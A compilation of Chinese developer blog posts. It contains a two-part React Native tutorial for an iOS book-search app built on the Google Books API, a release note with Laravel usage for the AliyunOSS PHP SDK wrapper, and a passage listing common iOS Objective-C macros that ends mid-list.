JavaScriptvar styles = StyleSheet.create({
  container: {
    flex: 1,
    justifyContent: 'center',
    alignItems: 'center',
    backgroundColor: '#F5FCFF',
  },
  welcome: {
    fontSize: 20,
    textAlign: 'center',
    margin: 10,
  },
  instructions: {
    textAlign: 'center',
    color: '#333333',
    marginBottom: 5,
  },
});



以上代码是应用于视图内容的样式。如果你以前做过网络开发，而且使用过 CSS（层叠样式表），那么这应该很熟悉。React Native 使用 CSS 设定应用的用户界面。再看一眼 JSX 代码，你会发现每个样式都各有用途，例如 style={} styles.container 为容器定义样式，容器是用来容纳其他 UI 组件的外部视图。


JavaScriptAppRegistry.registerComponent('BookSearch', () => BookSearch);



上行代码定义了应用的入口。也就是 JavaScript 代码开始执行的地方。


这是 React Native 用户界面的基础结构。每个定义的视图将会遵循这一基础结构。


在本篇文章中，我们将创建一个示例应用，可以浏览书籍，并看到详细信息比如作者、标题、该书简介。你也可以在应用中搜索书名和作者。下图是该应用的成品图，数据用的是 Google 书籍 API。





添加标签栏


示例应用将有两个项目的标签栏——精选和搜索。我们首先添加该功能。


虽然你可以在 index.ios.js 中编写所有代码，但这种做法并不推荐，随着应用代码量的增加，整个框架容易变得混乱不堪。为了更便于管理，我们在不同的文件中创建类。


在项目中根目录中创建两个 JavaScript 文件（与 index.ios.js 文件在相同位置）。命名这两个文件为 Search.js 和 Featured.js。打开 Featured.js 并添加以下代码。


Xcode'use strict';

var React = require('react-native');

var {
    StyleSheet,
    View,
    Text,
    Component
   } = React;

var styles = StyleSheet.create({
    description: {
        fontSize: 20,
        backgroundColor: 'white'
    },
    container: {
        flex: 1,
        justifyContent: 'center',
        alignItems: 'center'
    }
});

class Featured extends Component {
    render() {
        return (
       <View style={styles.container}>
        <Text style={styles.description}>
           Featured Tab
        </Text>
    </View>
        );
    }
}

module.exports = Featured;




这段代码你应该非常熟悉，非常类似于我们前面的代码。我们设置 Strict Mode、加载 react-native 模块、创建视图样式并用 render()函数渲染输出到用户界面。代码的最后一行输出精选类，从而使其可用于其他文件。请注意，我们声明类和函数的方式，略微不同于示例 inindex.ios.js 文件。JavaScript 有不同的声明类和函数的方式。随意选择你喜欢的风格。本篇文章接下来，我们将一直沿用上面所使用的样式。


在样式表定义中，我们可以看到基本的 CSS 属性。我们为外部视图中的文本和中心内容，设置字体大小和背景颜色。但你可能不熟悉 flex: 1 这行，这是最近才增加到 CSS 规范中的 flexbox。这里的 flex: 1 使得标记为容器的元素只占用的屏幕中的剩余空间，也就是只占用适应其内容的足够空间。之后我们会进一步介绍 Flex。要了解更多关于 Flexbox 样式，你可以参考这个指南。


在 Search.js 中添加下面代码。


javaScript'use strict';

var React = require('react-native');

var {
    StyleSheet,
    View,
    Text,
    Component
   } = React;

var styles = StyleSheet.create({
    description: {
        fontSize: 20,
        backgroundColor: 'white'
    },
    container: {
        flex: 1,
        justifyContent: 'center',
        alignItems: 'center'
    }
});

class Search extends Component {
    render() {
        return (
        <View style={styles.container}>
            <Text style={styles.description}>
              Search Tab
            </Text>
        </View>
        );
    }
}

module.exports = Search;



上面的代码与 Featured.js 的代码很像，除了文本控件中的文字。


删除 index.ios.js 中的所有内容，将下面的代码粘贴进去。


javascript'use strict';

var React = require('react-native');
var Featured = require('./Featured');
var Search = require('./Search');

var {
    AppRegistry,
    TabBarIOS,
    Component
   } = React;

class BookSearch extends Component {

    constructor(props) {
        super(props);
        this.state = {
            selectedTab: 'featured'
        };
    }

    render() {
        return (
            <TabBarIOS selectedTab={this.state.selectedTab}>
                <TabBarIOS.Item
                    selected={this.state.selectedTab === 'featured'}
                    icon={{uri:'featured'}}
                    onPress={() => {
                        this.setState({
                            selectedTab: 'featured'
                        });
                    }}>
                    <Featured/>
                </TabBarIOS.Item>
                <TabBarIOS.Item
                    selected={this.state.selectedTab === 'search'}
                    icon={{uri:'search'}}
                    onPress={() => {
                        this.setState({
                            selectedTab: 'search'
                        });
                    }}>
                    <Search/>
                </TabBarIOS.Item>
            </TabBarIOS>
        );
    }
}

AppRegistry.registerComponent('BookSearch', () => BookSearch);




此时，我们需要之前创建文件中导出的两个模块，并将它们分配给变量。在类中，我们指定一个构造函数，用来设置类的状态。所使用的组件均有状态变量，然后创建一个名为 selectedTab 的属性，并将其值赋给「featured」。我们将利用「featured」来确定选项卡是否有效。最后为 Featured 标签设定默认值。(未完待续...)


敬请持续关注：《React Native 简介：用 JavaScript 搭建 iOS 应用》系列(2)(3).


原文地址：http://www.appcoda.com/react-native-introduction/


本文系 OneAPM 工程师编译整理。想阅读更多技术文章，请访问 OneAPM 官方博客。


 React Native 简介：用 JavaScript 搭建 iOS 应用(2)

作者：OneAPM蓝海讯通

来源： React Native 简介：用 JavaScript 搭建 iOS 应用(2)



                    
【编者按】本篇文章的作者是 Joyce Echessa——渥合数位服务创办人，毕业于台湾大学，近年来专注于协助客户进行 App 软体以及网站开发。本篇文章中，作者介绍通过 React Native 框架构建一个示例应用的开发过程，使得网络技术和移动开发碰撞出绚丽火花！


React Native 简介：用 JavaScript 搭建 iOS 应用 (1)


在 render()函数中，使用 TabBarIOS 组件创建一个分页列。别忘了添加你使用的组件到解构赋值中，否则以后调用都需要使用完整名称，比如 React.TabBarIOS。


我们创建了两个分页列项目。我们为每一个项目设置选中状态，并定义一个该项目被点击时所调用的函数。以精选标签为例，我们之前定义的 selectedTab 状态为「featured」，那么 selected 设置为 true，否则将被设置为 false。对于搜索标签页也一样，需要检查 selectedTab 是否为「search」。一旦项目的 selected 设置为true，将成为激活状态标签。我们用系统图标表示标签栏项目。


需要注意的是，我们使用的自定义组件标签，和其他的组件一样。例如，我们需要相应的模块，并将其分配给一个变量，你可以使用变量来调用模块。结果如同组件类的 render()函数一样，成为文件代码的一部分。提醒一下，作者习惯使用变量名作为各自的类名，但这并不是必须，你可以用你喜欢的名称。


当一个标签栏项目点击时，会调用在组件的 onPress 属性中定义的回调函数。函数会为 selectedTab 属性设置数值，这个属性将最终确定哪个是活动标签。


调用模拟器，按下 Command-R 重载该应用。正如下图所示。





添加导航栏


下一步，我们将添加一个导航栏，并将两个文件添加到项目中。这些都将作为相应标签出现在导航堆栈的根视图。分别命名文件为 BookList.js 和 SearchBooks.js。


在 BookList.js 添加以下代码。


javascript'use strict';

var React = require('react-native');

var {
    StyleSheet,
    View,
    Component
   } = React;

var styles = StyleSheet.create({

});

class BookList extends Component {
    render() {
        return (
            <View>
        </View>             
        );
    }
}

module.exports = BookList;



在 SearchBooks.js 中添加以下代码。


javascript'use strict';

var React = require('react-native');

var {
    StyleSheet,
    View,
    Component
   } = React;

var styles = StyleSheet.create({

});

class SearchBooks extends Component {
    render() {
        return (
            <View>
        </View>             
        );
    }
}

module.exports = SearchBooks;



在这两个文件中创建空白视图模块，并导出该模块。


按照以下代码修改 Featured.js。


javascript'use strict';

var React = require('react-native');
var BookList = require('./BookList');

var {
    StyleSheet,
    NavigatorIOS,
    Component
   } = React;

var styles = StyleSheet.create({
    container: {
        flex: 1
    }
});

class Featured extends Component {
    render() {
        return (
            <NavigatorIOS
                style={styles.container}
                initialRoute={{
            title: 'Featured Books',
            component: BookList
            }}/>            
        );
    }
}

module.exports = Featured;



以上代码使用 NavigatorIOS 组件来构造一个导航控制器。我们将其初始路径设定为 BookList 组件（这意味着 BookList 为其根视图），并设置导航栏上方的标题。

接着用以下代码修改 Search.js。


javascript'use strict';

var React = require('react-native');
var SearchBooks = require('./SearchBooks');

var {
    StyleSheet,
    NavigatorIOS,
    Component
   } = React;

var styles = StyleSheet.create({
    container: {
        flex: 1
    }
});

class Search extends Component {
    render() {
        return (
            <NavigatorIOS
                style={styles.container}
                initialRoute={{
            title: 'Search Books',
            component: SearchBooks
        }}/>            
        );
    }
}

module.exports = Search;



正如在 Featured.js 一样，以上代码创建导航控制器，再设置其初始路径，接着为它设置标题。


重载应用，你可以看到以下界面。





获取并显示数据


现在，我们开始将数据添加到视图中。起初，我们用虚构数据构建视图，之后再从 API 获取真实的数据。


在 BookList.js 中其他变量声明的文件顶部，添加以下代码。


javascriptvar FAKE_BOOK_DATA = [
    {volumeInfo: {title: 'The Catcher in the Rye', authors: "J. D. Salinger", imageLinks: {thumbnail: 'http://books.google.com/books/content?id=PCDengEACAAJ&printsec=frontcover&img=1&zoom=1&source=gbs_api'}}}
];



如下图所示修改解构赋值，以添加更多组件。


javascriptvar {
    Image,
    StyleSheet,
    Text,
    View,
    Component,
   } = React;



添加如下样式。


javascriptvar styles = StyleSheet.create({
    container: {
        flex: 1,
        flexDirection: 'row',
        justifyContent: 'center',
        alignItems: 'center',
        backgroundColor: '#F5FCFF',
        padding: 10
    },
    thumbnail: {
        width: 53,
        height: 81,
        marginRight: 10
    },
    rightContainer: {
        flex: 1
    },
    title: {
        fontSize: 20,
        marginBottom: 8
    },
    author: {
        color: '#656565'
    }
});



如下图所示，修改 BookList 类。


javascriptclass BookList extends Component {
    render() {
    var book = FAKE_BOOK_DATA[0];
        return (
            <View style={styles.container}>
                <Image source={{uri: book.volumeInfo.imageLinks.thumbnail}}
                            style={styles.thumbnail} />
                <View style={styles.rightContainer}>
                    <Text style={styles.title}>{book.volumeInfo.title}</Text>
                    <Text style={styles.author}>{book.volumeInfo.authors}</Text>
                </View>
            </View>
        );
    }
}



重新加载应用，可以看到下图界面。



在上面的代码中，我们创建一个 JSON 对象，非常类似于从 API 调用的对象。我们为一本书的对象创建属性和值。在类文件中，我们使用虚构数据，只为了得到第一个元素，并用它来填充我们的视图。我们使用图像组件来加载图像到视图。需要注意的是，我们在样式表中设定其宽度和高度。如果在样式表中指定图像的尺寸，那么在视图中将看不到图像。


我们为容器指定了 flexDirection 为「row」的样式。这样的话，元素的子代也将继承该风格，默认值是水平布局而不是纵向布局。请注意，我们是如何在组件内包装其他组件的。在上面代码中，主容器中有两个子元素——图像和视图。视图也有自己的子类——两个文本组件。


先布局图像组件，然后再将视图（rightContainer）水平放置在它旁边。我们为 rightContainer 指定的 flex 风格为1。这使得该视图组件占据剩余空间，而不会遮挡图像组件。如果你想看 flex 样式的效果，可以为 rightContainer 添加以下代码。


javascriptbackgroundColor: 'red'



重新加载应用，你会看到空间被 rightContainer 样式组件占满。但它不会遮挡到其他组件。之所以没有延伸到整个屏幕，是因为外容器设定了留白，而图片也设置了右边界。





删除 rightContainer 的 flex 设定，再重新加载 App。现在组件只会占据适应其内容的足够空间。





如果将 thumbnail 和 rightContainer 的  flex 样式设置为2，它们将会占据同样的宽度，比例为2:2（或者1:1）。你可以将其设置为任何需要的数值，比例会做出相应的改变。





你可以尝试不同的比例以得到你想要的结果。让我们回到之前为 rightContainer 添加红色背景的那一步，继续下面的步骤。


添加列表视图


React Native 有一个 ListView 组件，显示数据的滚动行——也就是 iOS 中的表视图。


首先，修改解构语句显示我们添加的更多的组件。


javascriptvar {
    Image,
    StyleSheet,
    Text,
    View,
    Component,
    ListView,
    TouchableHighlight
   } = React;



添加以下代码到样式表中。


javascriptseparator: {
       height: 1,
       backgroundColor: '#dddddd'
   }



添加以下构造函数到 BookList 类。


javascriptconstructor(props) {
       super(props);
       this.state = {
           dataSource: new ListView.DataSource({
               rowHasChanged: (row1, row2) => row1 !== row2
           })
       };
   }



最后添加以下函数。


javascriptcomponentDidMount() {
    var books = FAKE_BOOK_DATA;
    this.setState({
        dataSource: this.state.dataSource.cloneWithRows(books)
    });
   }



在构造函数中，我们创建了一个 ListView.DataSource 对象，并将其分配给 dataSource 属性。DataSource 是一个接口，ListView 用它来确定在更新 UI 过程中哪些行发生了变化。我们提供了一个可以比较两列是否相同的函数，用于确定数据列表是否变化。


当组件被加载到 UI 视图时，会调用 componentDidMount()函数。该函数一旦被调用，我们用数据对象中的数据来设置 datasource 属性。


你可以使用下面的代码来修改 render()函数。


javascriptrender() {
    return (
        <ListView
            dataSource={this.state.dataSource}
            renderRow={this.renderBook.bind(this)}
            style={styles.listView}
            />
    );
}



将下面的函数添加到 BookList 类。


javascriptrenderBook(book) {
       return (
            <TouchableHighlight>
                <View>
                    <View style={styles.container}>
                        <Image
                            source={{uri: book.volumeInfo.imageLinks.thumbnail}}
                            style={styles.thumbnail} />
                        <View style={styles.rightContainer}>
                            <Text style={styles.title}>{book.volumeInfo.title}</Text>
                            <Text style={styles.author}>{book.volumeInfo.authors}</Text>
                        </View>
                    </View>
                    <View style={styles.separator} />
                </View>
            </TouchableHighlight>
       );
   }



以上代码在 render()函数中创建了一个 ListView 组件。这里的 datasource 属性与之前设定的数值一致。然后调用 renderBook()函数显示 ListView 中的各列数据。


在 renderBook()函数中，我们使用 TouchableHighlight 组件。这是一个包装组件，能让视图正确响应点击行为。一旦点击，该包装组件的透明度就会降低，可以允许底层颜色透过，使得视图变暗或变色。这样的话，如果你点击一个 ListView 行，你会看到高亮色，就像之前设置的选择表格视图单元格时的响应一样。我们在分离器的底部添加一个样式为 separator 的空视图组件。这样的设定下，视图会出现一个灰色的水平线，便于分割每行项目。


重载该应用，你会看到只有一个单元的表格视图。





现在将真实数据加载到应用中。


从文件中移除 FAKE_BOOK_DATA 变量，并添加以下代码。这是加载数据的网址。


javascriptvar REQUEST_URL = 'https://www.googleapis.com/books/v1/volumes?q=subject:fiction';



修改解析声明。


javascriptvar {
    Image,
    StyleSheet,
    Text,
    View,
    Component,
    ListView,
    TouchableHighlight,
    ActivityIndicatorIOS
   } = React;



添加以下样式设定。


javascriptlistView: {
       backgroundColor: '#F5FCFF'
   },
   loading: {
       flex: 1,
       alignItems: 'center',
       justifyContent: 'center'
   }



用下面的代码修改构造函数。我们为组件的状态对象添加另一个属性，用来判断视图是否成功加载。


javascriptconstructor(props) {
       super(props);
       this.state = {
           isLoading: true,
           dataSource: new ListView.DataSource({
               rowHasChanged: (row1, row2) => row1 !== row2
           })
       };
   }



按下列代码修改 componentDidMount()函数，并添加 fetchData()函数。 fetchData()将调用 Google 图书 API，当它响应操作时，会将获取的数据设置为 DataSource 属性，同时将 isLoading 设置为 true。


javascriptcomponentDidMount() {
       this.fetchData();
   }

   fetchData() {
       fetch(REQUEST_URL)
       .then((response) => response.json())
       .then((responseData) => {
           this.setState({
               dataSource: this.state.dataSource.cloneWithRows(responseData.items),
               isLoading: false
           });
       })
       .done();
   }



修改 render()函数并添加 renderLoadingView()。我们添加一个检查 isLoading，如果它的值为 true，就回到由 renderLoadingView()返回的视图。这个视图显示活动指示灯（一个转盘），以及「正在载入书籍...」的字样。当加载完成后，你应该看到表中的图书清单。


javascriptrender() {
       if (this.state.isLoading) {
           return this.renderLoadingView();
       }

       return (
            <ListView
                dataSource={this.state.dataSource}
                renderRow={this.renderBook.bind(this)}
                style={styles.listView}
                />
        );
}  

renderLoadingView() {
    return (
        <View style={styles.loading}>
            <ActivityIndicatorIOS
                size='large'/>
            <Text>
                Loading books...
            </Text>
        </View>
    );
}



重新加载应用，你会看到类似下图的界面。





添加详情视图


如果你点击表中的一个单元格，单元格将会突出显示，但不会响应其它操作。我们将添加一个详情视图，以显示选择当前书的详细信息。


在项目中新建文件，并命名为 BookDetail.js。将下面的代码贴在该文件中。


javascript'use strict';

var React = require('react-native');

var {
    StyleSheet,
    Text,
    View,
    Component,
    Image
   } = React;

var styles = StyleSheet.create({
    container: {
        marginTop: 75,
        alignItems: 'center'
    },
    image: {
        width: 107,
        height: 165,
        padding: 10
    },
    description: {
        padding: 10,
        fontSize: 15,
        color: '#656565'
    }
});

class BookDetail extends Component {
    render() {
        var book = this.props.book;
        var imageURI = (typeof book.volumeInfo.imageLinks !== 'undefined') ? book.volumeInfo.imageLinks.thumbnail : '';
        var description = (typeof book.volumeInfo.description !== 'undefined') ? book.volumeInfo.description : '';
        return (
            <View style={styles.container}>
                <Image style={styles.image} source={{uri: imageURI}} />
                <Text style={styles.description}>{description}</Text>
            </View>
        );
    }
}

module.exports = BookDetail;



上述代码的大部分内容，我们之前已经讨论过，这里不再赘述。之前没接触过的是 props 属性，其用途是获取数据。通过设置 props 属性，将数据传递到这个类。在代码中，我们先获得数据，随后用数据填充视图。


需要注意的是，我们设置了容器的上边界。如果不这样的话，视图将从屏幕的最顶部开始，从而导致某些元素被导航栏遮挡。


在 BookList.js 中添加以下代码。


javascriptvar BookDetail = require('./BookDetail');



修改 BookList 类中 render()函数的 TouchableHighlight。


javascript<TouchableHighlight onPress={() => this.showBookDetail(book)}  underlayColor='#dddddd'>



上述代码指定了当某列书籍被点击时响应一个回调函数。粘贴下面的函数到该类。这将 BookDetail 视图推送到导航堆栈中，并设置导航栏上的标题可见。然后将该选中行有关的图书对象传递给 BookDetail 类。


javascriptshowBookDetail(book) {
       this.props.navigator.push({
           title: book.volumeInfo.title,
           component: BookDetail,
           passProps: {book}
       });
   }



重载该 App，你能看到当前选中书籍的详细信息。





搜索


现在已经完成了精选标签的主从视图，我们将继续完善搜索选项卡，使用户能够利用 API 查询想要的书籍。


打开 SearchBooks.js 并按下面的代码修改。


javascript'use strict';

var React = require('react-native');
var SearchResults = require('./SearchResults');
var {
    StyleSheet,
    View,
    Text,
    Component,
    TextInput,
    TouchableHighlight,
    ActivityIndicatorIOS
    } = React;

var styles = StyleSheet.create({
    container: {
        marginTop: 65,
        padding: 10
    },
    searchInput: {
        height: 36,
        marginTop: 10,
        marginBottom: 10,
        fontSize: 18,
        borderWidth: 1,
        flex: 1,
        borderRadius: 4,
        padding: 5
    },
    button: {
        height: 36,
        backgroundColor: '#f39c12',
        borderRadius: 8,
        justifyContent: 'center',
        marginTop: 15
    },
    buttonText: {
        fontSize: 18,
        color: 'white',
        alignSelf: 'center'
    },
    instructions: {
        fontSize: 18,
        alignSelf: 'center',
        marginBottom: 15
    },
    fieldLabel: {
        fontSize: 15,
        marginTop: 15
    },
    errorMessage: {
        fontSize: 15,
        alignSelf: 'center',
        marginTop: 15,
        color: 'red'
    }
});

class SearchBooks extends Component {

    constructor(props) {
        super(props);
        this.state = {
            bookAuthor: '',
            bookTitle: '',
            isLoading: false,
            errorMessage: ''
        };
    }


    render() {
        var spinner = this.state.isLoading ?
            ( <ActivityIndicatorIOS
                hidden='true'
                size='large'/> ) :
            ( <View/>);
        return (
            <View style={styles.container}>
                <Text style={styles.instructions}>Search by book title and/or author</Text>
                <View>
                    <Text style={styles.fieldLabel}>Book Title:</Text>
                    <TextInput style={styles.searchInput} onChange={this.bookTitleInput.bind(this)}/>
                </View>
                <View>
                    <Text style={styles.fieldLabel}>Author:</Text>
                    <TextInput style={styles.searchInput} onChange={this.bookAuthorInput.bind(this)}/>
                </View>
                <TouchableHighlight style={styles.button}
                                    underlayColor='#f1c40f'
                                    onPress={this.searchBooks.bind(this)}>
                    <Text style={styles.buttonText}>Search</Text>
                </TouchableHighlight>
                {spinner}
                <Text style={styles.errorMessage}>{this.state.errorMessage}</Text>
            </View>
        );
    }

    bookTitleInput(event) {
        this.setState({ bookTitle: event.nativeEvent.text });
    }

    bookAuthorInput(event) {
        this.setState({ bookAuthor: event.nativeEvent.text });
    }

    searchBooks() {
        this.fetchData();
    }

    fetchData() {

        this.setState({ isLoading: true });

        var baseURL = 'https://www.googleapis.com/books/v1/volumes?q=';
        if (this.state.bookAuthor !== '') {
            baseURL += encodeURIComponent('inauthor:' + this.state.bookAuthor);
        }
        if (this.state.bookTitle !== '') {
            baseURL += (this.state.bookAuthor === '') ? encodeURIComponent('intitle:' + this.state.bookTitle) : encodeURIComponent('+intitle:' + this.state.bookTitle);
        }

        console.log('URL: >>> ' + baseURL);
        fetch(baseURL)
            .then((response) => response.json())
            .then((responseData) => {
                this.setState({ isLoading: false});
                if (responseData.items) {

                    this.props.navigator.push({
                        title: 'Search Results',
                        component: SearchResults,
                        passProps: {books: responseData.items}
                    });
                } else {
                    this.setState({ errorMessage: 'No results found'});
                }
            })
            .catch(error =>
                this.setState({
                    isLoading: false,
                    errorMessage: error
                }))
            .done();
    }

}

module.exports = SearchBooks;



述代码中，我们在构造函数中设置了一些属性：bookAuthor、bookTitle、isLoading 和 errorMessage。下面简要介绍下如何使用。


在 render()方法中，我们需要检查 isLoading 值是否为 true，如果是则建立一个活动指示器，否则则创建一个空视图（后面会用到）。然后，我们创建一个被用来插入查询的搜索表单。TextInput 用于接收输入。当组件的值改变时（例如用户键入一些文本），将会调用 TextInput 组件，同时为组件指定一个回调函数。在调用时，回调函数 bookTitleInput()和 bookAuthorInput()利用用户输入的数据将设置 bookAuthor 和 bookTitles 属性。当用户按下搜索按钮时，searchBooks()被调用。需要注意的是，React Native 没有按钮组件。所以，我们使用 TouchableHighlight 来代替，并用文本包装，使它的样式看起来像一个按钮。当按下搜索按钮时，根据输入的数据构成一个 URL。用户可以通过书名、作者或书名+作者进行搜索。如果结果成功返回，SearchResult 将被推到导航堆栈，否则提示错误消息。我们还将响应数据传递给 SearchResults 类。


创建一个文件并命名为 SearchResults.js，将下列代码贴进去。


javascript'use strict';

var React = require('react-native');
var BookDetail = require('./BookDetail');
var {
    StyleSheet,
    View,
    Text,
    Component,
    TouchableHighlight,
    Image,
    ListView
    } = React;

var styles = StyleSheet.create({
    container: {
        flex: 1,
        justifyContent: 'center',
        alignItems: 'center'
    },
    title: {
        fontSize: 20,
        marginBottom: 8
    },
    author: {
        color: '#656565'
    },
    separator: {
        height: 1,
        backgroundColor: '#dddddd'
    },
    listView: {
        backgroundColor: '#F5FCFF'
    },
    cellContainer: {
        flex: 1,
        flexDirection: 'row',
        justifyContent: 'center',
        alignItems: 'center',
        backgroundColor: '#F5FCFF',
        padding: 10
    },
    thumbnail: {
        width: 53,
        height: 81,
        marginRight: 10
    },
    rightContainer: {
        flex: 1
    }
});

class SearchResults extends Component {

    constructor(props) {
        super(props);

        var dataSource = new ListView.DataSource(
            {rowHasChanged: (row1, row2) => row1 !== row2});
        this.state = {
            dataSource: dataSource.cloneWithRows(this.props.books)
        };
    }

    render() {

        return (
            <ListView
                dataSource={this.state.dataSource}
                renderRow={this.renderBook.bind(this)}
                style={styles.listView}
                />
        );
    }

    renderBook(book) {
        var imageURI = (typeof book.volumeInfo.imageLinks !== 'undefined') ? book.volumeInfo.imageLinks.thumbnail : '';

        return (
            <TouchableHighlight onPress={() => this.showBookDetail(book)}
                                underlayColor='#dddddd'>
                <View>
                    <View style={styles.cellContainer}>
                        <Image
                            source={{uri: imageURI}}
                            style={styles.thumbnail} />
                        <View style={styles.rightContainer}>
                            <Text style={styles.title}>{book.volumeInfo.title}</Text>
                            <Text style={styles.author}>{book.volumeInfo.authors}</Text>
                        </View>
                    </View>
                    <View style={styles.separator} />
                </View>
            </TouchableHighlight>
        );
    }

    showBookDetail(book) {

        this.props.navigator.push({
            title: book.volumeInfo.title,
            component: BookDetail,
            passProps: {book}
        });
    }

}

module.exports = SearchResults;



以上代码之前已经讨论过，也不再赘述。代码中获得数据，并将数据通过 props 属性传递到类，同时创建填充了数据的 ListView。


作者注意到，在 API中，当你按作者搜索时，结果不一定是书的数据，而是作者自身的信息。这意味着某些行的 book.volumeInfo.imageLinks.thumbnail 和 book.volumeInfo.description 有未定义的值。所以我们稍作检查，如果没有图像则显示一个空视图。否则，我们的应用将试图加载不存在的图像，这样会容易引发崩溃。


我们使用之前用过的 BookDetail 组件，来显示每本书的详细信息。如图所示，打开 BookDetail.js 并修改 render()函数。在用数据填充视图之前，检查传入的数据是否有相关图像和详细信息。如果尝试载入的书籍没有详情或图片，对应的区域将是空白。你可以向用户提示一个错误信息，在此我们省略该步骤。


javascriptrender() {
    var book = this.props.book;
    var imageURI = (typeof book.volumeInfo.imageLinks !== 'undefined') ? book.volumeInfo.imageLinks.thumbnail : '';
    var description = (typeof book.volumeInfo.description !== 'undefined') ? book.volumeInfo.description : '';
    return (
        <View style={styles.container}>
            <Image style={styles.image} source={{uri: imageURI}} />
            <Text style={styles.description}>{description}</Text>
        </View>
    );
}



重载应用，会看到搜索书籍的界面。





结束语


尽管仍在不断完善，React Native 看起来很有希望成为构建移动应用的另一种选择。它为 Web 开发人员开启了一扇门，让他们能够在移动开发领域一探究竟。同时为移动开发者提供了一种简化开发流程的新方式。


随着项目的发展，让我们拭目以待 React Native 和应用开发（iOS和Android ——或者别的平台）将会碰撞出什么样的火花。同时，如果你需要进一步确认网络技术是否能用于实现真正的原生体验，你可以看看这些由 React Native 构建的应用：Facebook Ads Manager（完全由 React Native 构建）以及 Facebook Groups（React Native 和 Objective-C 构建的混合应用）。


「学习一次，在任何地方应用」。单这一句足以证明学习 React Native 框架的意义。


你可以在这里下载完整示例项目。


为了更进一步了解 React Native，你可以参考下列视频和资料。



  
	React Native 简介

  	深入 React Native

  	React Native 接力：将现代网页技术推向移动开发世界

  




你可以在这下载 Xcode 项目，仅供参考。（完结）


React Native 简介：用 JavaScript 搭建 iOS 应用 (1)


原文地址：http://www.appcoda.com/react-native-introduction/


本文系 OneAPM 工程师编译整理。想阅读更多技术文章，请访问 OneAPM 官方博客。


 JohnLui/AliyunOSS v1.0 发布，附 Laravel 框架详细使用教程及代码

作者：JohnLui

来源： JohnLui/AliyunOSS v1.0 发布，附 Laravel 框架详细使用教程及代码
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AliyunOSS 是阿里云 OSS 官方 SDK 的 Composer 封装，支持任何 PHP 项目，包括 Laravel、Symfony、TinyLara 等等。Github 地址：https://github.com/johnlui/AliyunOSS


更新记录



	2015-01-09 Release v1.0




安装


将以下内容增加到 composer.json：


jsonrequire: {
    "johnlui/aliyun-oss": "1.0"
}



然后运行 composer update。


使用（以 Laravel 为例）


构建 Service 文件


新建 app/services/OSS.php，内容可参考：OSSExample.php：


php<?php

namespace App\Services;

use JohnLui\AliyunOSS\AliyunOSS;

use Config;

class OSS {

  private $ossClient;

  public function __construct()
  {
    $this->ossClient = AliyunOSS::boot(
      Config::get('app.ossServerInternal'),
      Config::get('app.AccessKeyId'),
      Config::get('app.AccessKeySecret')
    );
  }

  public static function upload($ossKey, $filePath)
  {
    $oss = new OSS();
    $oss->ossClient->setBucket('提前设置好的Bucket的名称');
    $oss->ossClient->uploadFile($ossKey, $filePath);
  }

  public static function getUrl($ossKey)
  {
    $oss = new OSS();
    $oss->ossClient->setBucket('提前设置好的Bucket的名称');
    return $oss->ossClient->getUrl($ossKey, new \DateTime("+1 day"));
  }

  public static function createBucket($bucketName)
  {
    $oss = new OSS();
    return $oss->ossClient->createBucket($bucketName);
  }

  public static function getAllObjectKey($bucketName)
  {
    $oss = new OSS();
    return $oss->ossClient->getAllObjectKey($bucketName);
  }

}



放入自动加载


在 composer.json 中 autoload -> classmap 处增加配置：


json"autoload": {
    "classmap": [
      "app/services"
    ]
  }



然后运行 composer dump-autoload。


增加相关配置


在 app/config/app.php 中增加三项配置：


php'ossServerInternal' => '服务器内网地址', //青岛为 http://oss-cn-qingdao-internal.aliyuncs.com
'AccessKeyId' => '阿里云给的AccessKeyId',
'AccessKeySecret' => '阿里云给的AccessKeySecret',



使用


phpuse App\Services\OSS;

OSS::upload('文件名', '本地路径'); // 上传一个文件

echo OSS::getUrl('某个文件的名称'); // 打印出某个文件的外网链接

OSS::createBucket('一个字符串'); // 新增一个 Bucket。注意，Bucket 名称具有全局唯一性，也就是说跟其他人的 Bucket 名称也不能相同。

OSS::getAllObjectKey('某个 Bucket 名称'); // 获取该 Bucket 中所有文件的文件名，返回 Array。



反馈


有问题请到 http://lvwenhan.com/laravel/425.html 下面留言。


 iOS开发常用高效率宏

作者：koknine

来源： iOS开发常用高效率宏



                    
前言

github:https://github.com/koknine (终于改成以前的了)

iOS开发当中，有很多用的多但是写起来比较繁琐的代码，比如获取屏幕的宽高，简直纠结的不行，之前在CSDN上面看到很多不错的总结。

iOS开发常用宏这里面就总结的很好，但是为什么字那么小。。。

我在这里重新录入，并添加一些自己写的，后续会继续更新一些好用的宏。

尺寸宏

#define StatusBar_HEIGHT 20

#define NavigationBar_HEIGHT 44

#define NavigationBarIcon 20

#define TabBar_HEIGHT 49

#define TabBarIcon 30

#define SCREEN_WIDTH ([UIScreen mainScreen].bounds.size.width)

#define SCREEN_HEIGHT ([UIScreen mainScreen].bounds.size.height) 

打印宏

//替换NSLog来使用，debug模式下可以打印很多方法名，行信息。
#ifdef DEBUG
#   define DLog(fmt, ...) NSLog((@"%s [Line %d] " fmt), __PRETTY_FUNCTION__, __LINE__, ##__VA_ARGS__);
#else  
#   define DLog(...)  
#endif

//直接替换NSLog
#if DEBUG  
#define NSLog(FORMAT, ...) fprintf(stderr,"\nfunction:%s line:%d content:%s\n", __FUNCTION__, __LINE__, [[NSString stringWithFormat:FORMAT, ##__VA_ARGS__] UTF8String]);  
#else  
#define NSLog(FORMAT, ...) nil  
#endif

//DEBUG  模式下打印日志,当前行以及弹出一个警告
#ifdef DEBUG
#   define ULog(fmt, ...)  { UIAlertView *alert = [[UIAlertView alloc] initWithTitle:[NSString stringWithFormat:@"%s\n [Line %d] ", __PRETTY_FUNCTION__, __LINE__] message:[NSString stringWithFormat:fmt, ##__VA_ARGS__]  delegate:nil cancelButtonTitle:@"Ok" otherButtonTitles:nil]; [alert show]; }
#else
#   define ULog(...)
#endif

#define ITTDEBUG
#define ITTLOGLEVEL_INFO     10
#define ITTLOGLEVEL_WARNING  3
#define ITTLOGLEVEL_ERROR    1

#ifndef ITTMAXLOGLEVEL

#ifdef DEBUG
#define ITTMAXLOGLEVEL ITTLOGLEVEL_INFO
#else
#define ITTMAXLOGLEVEL ITTLOGLEVEL_ERROR
#endif

#endif

// The general purpose logger. This ignores logging levels.
#ifdef ITTDEBUG
#define ITTDPRINT(xx, ...)  NSLog(@"%s(%d): " xx, __PRETTY_FUNCTION__, __LINE__, ##__VA_ARGS__)
#else
#define ITTDPRINT(xx, ...)  ((void)0)
#endif

// Prints the current method's name.
#define ITTDPRINTMETHODNAME() ITTDPRINT(@"%s", __PRETTY_FUNCTION__)

// Log-level based logging macros.
#if ITTLOGLEVEL_ERROR <= ITTMAXLOGLEVEL
